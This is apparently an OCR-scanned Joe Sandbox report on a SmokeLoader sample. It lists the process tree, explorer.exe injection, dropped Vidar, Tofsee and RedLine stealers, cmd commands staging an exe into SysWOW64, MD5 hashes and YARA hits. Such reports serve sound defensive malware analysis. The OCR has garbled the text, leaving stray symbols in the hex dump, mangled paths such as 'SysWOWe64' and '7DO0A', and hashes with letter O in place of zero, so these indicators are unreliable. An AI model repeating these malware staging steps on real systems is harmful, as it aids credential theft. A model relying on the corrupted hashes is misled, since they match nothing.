Data Raw: 30 df 3b fa 23 8¢ 73 17 b7 8d ¢3 54 35 15 20 32 10 da 43 fd 86 44 d0 89 32 6¢ 67 fe aa 29 68 c5 30 8 ee 3f ab
7f 6b ae 04 32 d0 39 f9 72 c1 a2 68 6a 2b 79 67 bb 9f aa 58 €7 33 d1 1c 98 5b 04 b0 5f 63 88 11 33 af ab 08 aa 19 fb be 9f
94 89 f1 50 be 7f al b3 88 fc 4d c0 fO d1 bl 22 df 8a cf Oe 36 3e 9a 54 f6 5b 50 dd 4d 99 82 Oc 55 15 38 1d al 9d a6 71 37
e5 a5 00 78 2d 2e c7 4b a6 d2 c5 97 f1 e0 62 58 24 83 52 78 64 5e d4 1c 94 d6 6b d8 54 al a9 29 64 30 91 ce bl a8 96
77 2a79 95 eb 76 Ob 20 7b d2 6b c6 ff e7 c6 3b fb ea ba e2 26 b6 c9 44 c5 5b 9b 01 b3 c6 cb ce 32 44 73 16 db eb c9 3a
72 6d Of eb 08 el d6 c9 28 60 05 5a 87 db da 3c 95 b5 c2 cf 7c 96 65 e5 ff ef 24 Ob 58 0a 3¢ 36 88 4b 27 df 3c 44 79 el
c2c2 55 7c b5 5b 1c cd 9d 04 aa d9 ae 6a 18 63 1e

Data Ascii: 0;#sT5 2CD2lg)h0?k29rhj+ygX3[_c3PM"6>T[PMUB8q7x-. KbX$Rxd"kT)dOw*yv {k;&D[2Ds:rm( Z<|e$X<6K'<DyU|
lic

Analysis Process: elxMVDoQF3.exe PID: 6904 Parent PID: 4752

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

04:58:17

14/01/2022
C:\Users\user\Desktop\eIxMVDoQF3.exe
true
"C:\Users\user\Desktop\elxMVDoQF3.exe"
0x400000

320000 bytes
B45BF93A4B27690392433619C5006E8B
true

true

C, C++ or other language

Reputation: low
Analysis Process: elxMVDoQF3.exe PID: 6932 Parent PID: 6904
General
Start time: 04:58:18
Start date: 14/01/2022
Path: C:\Users\user\Desktop\eIxMVDoQF3.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true
"C:\Users\user\Desktop\elxMVDoQF3.exe"
0x400000

320000 bytes
B45BF93A4B27690392433619C5006E8B
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000001.00000002.332260069.0000000000580000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000001.00000002.332377268.0000000001F51000.00000004.00020000.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: svchost.exe PID: 6964 Parent PID: 572
General
Start time: 04:58:19
Start date: 14/01/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 7020 Parent PID: 572

General

Start time: 04:58:22

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NchService
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 7056 Parent PID: 572
General
Start time: 04:58:22
Start date: 14/01/2022
Path: C:\Windows\System32\svchost.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 7120 Parent PID: 572

General

Start time: 04:58:23

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Registry Activities Show Windows behavior
Analysis Process: svchost.exe PID: 7160 Parent PID: 572

General

Start time: 04:58:23

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\System32\svchost.exe -k NetworkService -p
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 3928 Parent PID: 572
General
Start time: 04:58:23
Start date: 14/01/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):

Commandline:
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c:\windows\system32\svchost.exe -k unistacksvcgroup
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA
false

false

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: SgrmBroker.exe PID: 6264 Parent PID: 572

General

Start time: 04:58:24

Start date: 14/01/2022

Path: C:\Windows\System32\SgrmBroker.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false
C:\Windows\system32\SgrmBroker.exe
0x7ff66e860000

163336 bytes
D3170A3F3A9626597EEE1888686E3EA6
true

true

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 6216 Parent PID: 572
General
Start time: 04:58:24
Start date: 14/01/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Registry Activities Show Windows behavior
Analysis Process: explorer.exe PID: 3352 Parent PID: 6932

General

Start time: 04:58:25

Start date: 14/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:
Imagebase:

File size:
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

AD5296B280E8F522A8A897C96BABOE1D
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000A.00000000.318144404.0000000002E21000.00000020.00020000.sdmp, Author:
Joe Security

high

Show Windows behavior

File Created

File Deleted

File Written

Analysis Process: svchost.exe PID: 6784 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

04:58:42

14/01/2022

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 3108 Parent PID: 572

General

Start time: 04:58:55

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: rwjfsvd PID: 6856 Parent PID: 664
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General

Start time: 04:58:59

Start date: 14/01/2022

Path: C:\Users\user\AppData\Roaming\rwjfsvd
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\rwjfsvd
Imagebase: 0x400000

File size: 320000 bytes

MDS5 hash: B45BF93A4B27690392433619C5006E8B
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language
Amdiusmaches: e DeleclomloO%JoeSandboxML
Reputation: low

Analysis Process: rwjfsvd PID: 6844 Parent PID: 6856

General

Start time: 04:59:01

Start date: 14/01/2022

Path: C:\Users\user\AppData\Roaming\rwjfsvd

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\rwjfsvd

Imagebase: 0x400000

File size: 320000 bytes

MD5 hash: B45BF93A4B27690392433619C5006E8B

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
0000000F.00000002.382566740.0000000000460000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:

0000000F.00000002.382707049.00000000004D1000.00000004.00020000.sdmp, Author:
Joe Security

Reputation: low

Analysis Process: F805.exe PID: 6800 Parent PID: 3352

General

Start time: 04:59:03

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\F805.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\F805.exe

Imagebase: 0x400000

File size: 301056 bytes

MDS5 hash: 277680BD3182EB0940BC356FF4712BEF

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 5580 Parent PID: 572

General
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Start time: 04:59:04

Start date: 14/01/2022
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000
File size: 51288 bytes
MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
File Activities Show Windows behavior

Analysis Process: svchost.exe PID: 2056 Parent PID: 572

General

Start time: 04:59:06

Start date: 14/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k WerSvcGroup

Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
File Activities Show Windows behavior
Registry Activities Show Windows behavior

Analysis Process: WerFault.exe PID: 4844 Parent PID: 2056

General

Start time: 04:59:06

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800
Imagebase: 0x1250000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: WerFault.exe PID: 5620 Parent PID: 6800

General

Start time: 04:59:08

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\WerFault.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520
0x1250000

434592 bytes
9E2BBACAD48ECCA55C0230D63623661B

false

false

C, C++ or other language

File Activities

Show Windows behavior

File Created

File Deleted

File Written

Registry Activities

Show Windows behavior

Analysis Process: B50.exe PID: 5760 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

04:59:08

14/01/2022
C:\Users\user\AppData\Local\Temp\B50.exe
true
C:\Users\user\AppData\Local\Temp\B50.exe
0x400000

323584 bytes
FFOD190D6DF636D7DE53B8B6B683BC6E
false

false

C, C++ or other language

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity Vidar_1, Description: Yara detected Vidar stealer, Source:
00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, Author:
Joe Security

‘ Analysis Process: 743F.exe PID: 6640 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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04:59:12

14/01/2022
C:\Users\user\AppData\Local\Temp\743F.exe
true
C:\Users\user\AppData\Local\Temp\743F.exe
0x400000

320000 bytes
F05279062D67B1F816420725086C77AB
false

false

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp, Author:

Joe Security
File Activities Show Windows behavior
File Created
File Written
File Read
Analysis Process: 7D0A.exe PID: 6788 Parent PID: 3352
General
Start time: 04:59:14
Start date: 14/01/2022
Path: C:\Users\user\AppData\Local\Temp\7D0A.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\7DOA.exe
Imagebase: 0xd70000
File size: 537088 bytes
MD5 hash: D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges: false
Has administrator privileges: false
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, Author:
Joe Security
File Activities Show Windows behavior
File Created
File Written
File Read
Analysis Process: cmd.exe PID: 6360 Parent PID: 6640
General
Start time: 04:59:19
Start date: 14/01/2022
Path: C:\Windows\SysWOWe64\cmd.exe
Wow64 process (32bit): true
Commandline: "C:\Windows\SysWOWe64\cmd.exe" /C mkdir C:\Windows\SysWOW64\icpymrdv\
Imagebase: 0xd80000
File size: 232960 bytes
MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D
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Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Analysis Process: conhost.exe PID: 2060 Parent PID: 6360

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

04:59:19

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 3532 Parent PID: 6640

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

04:59:22
14/01/2022
C:\Windows\SysWOW64\cmd.exe

true

"C:\Windows\SysWOWe64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcs

smj.exe" C:\Windows\SysWOW64\icpymrdv\
0xd80000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 5468 Parent PID: 3532

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

04:59:23

14/01/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: 7D0A.exe PID: 2008 Parent PID: 6788

General
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Start time: 04:59:24

Start date: 14/01/2022

Path: C:\Users\user\AppData\Local\Temp\7DO0A.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\7DO0A.exe

Imagebase: 0x650000

File size: 537088 bytes

MDS5 hash: D7DF01D8158BFADDC8BA48390E52F355

Has elevated privileges: false

Has administrator privileges: false

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.428360740.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.429057949.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000002.520312697.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.427833642.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Disassembly

Code Analysis
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